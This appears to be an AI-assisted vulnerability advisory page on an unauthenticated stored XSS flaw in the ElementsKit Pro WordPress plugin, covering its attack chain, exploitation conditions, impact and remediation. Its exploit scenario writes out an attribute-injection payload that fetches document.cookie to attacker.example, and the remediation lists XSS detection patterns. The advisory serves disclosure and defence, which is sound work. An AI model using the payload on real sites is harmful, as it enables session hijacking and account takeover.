Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend unauthenticated POST to /wp-json/elementskit/v1/advanced-search with crafted 's' parameter
-
DeliveryDouble-quote payload bypasses sanitize_text_field()
-
ExploitPayload stored site-wide in WordPress options table via update_option()
-
ExecutionVictim visits page containing Advanced Search widget
-
Persist'No results' view renders stored keyword into HTML attribute via sprintf() without esc_attr()
-
ImpactInjected event-handler script executes in victim's browser session
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The target site must have ElementsKit Pro version 4.10.1 or earlier installed and activated, and the Advanced Search widget must be placed on at least one publicly accessible page. The WordPress REST API must not be globally disabled (a non-default hardening measure). For the injected payload to execute against victims, end-users must visit a page containing the Advanced Search widget and reach the 'no results' display state - an attacker can manufacture this condition for other users by ensuring the poisoned search term is stored as a popular keyword. No authentication is required at any stage of the injection phase; the REST endpoint explicitly grants access to all callers via permission_callback => __return_true. Sites that have ElementsKit Pro installed but do not use the Advanced Search widget on any public page are not exposed to the stored-rendering step, though the endpoint will still accept and persist injected input. |
| Impact | The provided CVSS 6.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) is technically accurate but understates operational risk in several ways. The UI:R requirement - a victim must trigger the no-results view - is not a strong mitigation here because the same unauthenticated attacker who injects the payload can engineer no-results conditions by submitting rare search queries, collapsing the gap between injection and triggering. The S:C (scope change) metric correctly reflects that XSS crosses the trust boundary from the server-side plugin into the victim's browser session, enabling session hijacking or credential theft beyond the WordPress installation itself. No EPSS score was provided in the source data, and this CVE is not listed in the CISA KEV catalog, so no confirmed active exploitation exists. The absence of a KEV listing combined with no publicly identified POC places this in a lower-urgency tier for mass exploitation, but the zero-authentication write vector means automated scanning tools could poison sites at scale before patches are applied. The attack is fully automatable at the injection phase, requiring only a single unauthenticated HTTP request - any site running the widget and exposed to internet traffic should treat this as a priority patch item regardless of organization size. |
| Exploit ScenarioDerived | An unauthenticated attacker sends a single HTTP POST request to /wp-json/elementskit/v1/advanced-search with a crafted search term such as nonexistent" onmouseover="fetch('https://attacker.example/c?c='+document.cookie) - the double quote escapes the HTML attribute, injecting an event handler. Because the endpoint requires no authentication and the sanitizer permits double quotes, the payload is written to the site-wide WordPress options table and subsequently rendered into the Advanced Search widget's 'no results' HTML output. Every visitor who encounters the no-results state - which the attacker can reliably trigger for other users by ensuring the poisoned term is promoted as a popular keyword - executes the script, exposing session cookies and enabling account takeover. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 28, 2026
Stored Cross-Site Scripting in ElementsKit Pro for WordPress allows unauthenticated attackers to persistently inject arbitrary JavaScript via the Advanced Search REST endpoint, affecting all versions through 4.10.1. The flaw combines an authentication bypass (permission_callback set to __return_true) with inadequate output escaping: sanitize_text_field() permits double-quote characters to pass through, and stored keywords are later rendered into HTML attributes using sprintf() without esc_attr(), enabling attribute injection. Unlike reflected XSS, this stored variant poisons the site globally - every visitor who triggers the 'no results' state on any page using the Advanced Search widget executes the injected payload. No public exploit has been identified at time of analysis and this CVE is not listed in the CISA KEV catalog.
RemediationAI
Update ElementsKit Pro to a version beyond 4.10.1 once WPMet releases a patched build; no specific fixed version number has been confirmed in the available references - monitor the plugin changelog and roadmap at https://wpmet.com/plugin/elementskit/roadmaps/ for release announcements. As an immediate compensating control, remove or disable the Advanced Search widget from all published pages: this prevents the vulnerable rendering path from executing even if the REST endpoint has already received injected input. Administrators should also purge any already-stored malicious keywords by running wp option delete ekit_advanced_search_popular_keyword via WP-CLI, or deleting the corresponding row from the WordPress options table directly - failure to do so leaves previously injected payloads active even after the widget is re-enabled post-patch. A WAF rule blocking POST requests to /wp-json/elementskit/v1/advanced-search containing double-quote characters or common XSS attribute-injection patterns (onmouseover, onerror, onfocus, etc.) can block the injection phase without disrupting the plugin's normal functionality, though this defense does not protect against obfuscated payloads. Globally disabling the WordPress REST API is not recommended as a general mitigation due to broad functional side effects.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the Advanced Search widget shipped with the ElementsKit Pro WordPress plugin (CPE: cpe:2.3:a:wpmet:elementskit_pro:*:*:*:*:*:*:*:*), developed by WPMet. The REST endpoint /wp-json/elementskit/v1/advanced-search registers its permission_callback as the WordPress built-in __return_true, which unconditionally grants access to any caller regardless of authentication state. User-supplied search terms are passed through sanitize_text_field(), a WordPress function designed to strip HTML tags and control characters but explicitly documented as not encoding quotes. The sanitized value is then written to the WordPress options table under the ekit_advanced_search_popular_keyword key via update_option(). On the rendering side, confirmed by source references at advanced-search-result.php#L91 and #L174, stored keywords are interpolated into HTML attribute contexts using sprintf() without wrapping the value in esc_attr() - the WordPress-standard function for attribute-context escaping. This is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation) instance: ingress sanitization was applied but context-correct egress escaping was omitted, with the added severity that the vector is a persistent store rather than a reflected parameter.
Know when Elementskit Pro gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Open unauthenticated REST endpoint drives PR:N and AV:N; stored XSS crosses scope boundary (S:C, UI:R); no availability impact applies.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The ElementsKit Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 's' parameter of the Advanced Search REST endpoint in all versions up to, and including, 4.10.1 due to insufficient input sanitization and output escaping. The REST endpoint at /wp-json/elementskit/v1/advanced-search uses permission_callback set to __return_true, allowing unauthenticated access. Search terms are stored in the ekit_advanced_search_popular_keyword WordPress option via update_option(). While sanitize_text_field() is applied, it does not encode double quotes, and the stored keywords are rendered in HTML attributes via sprintf without esc_attr(), allowing attribute injection. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user triggers the "no results" popular keywords view on pages using the Advanced Search widget.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-67564
GHSA-pf34-qr6f-74hf
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB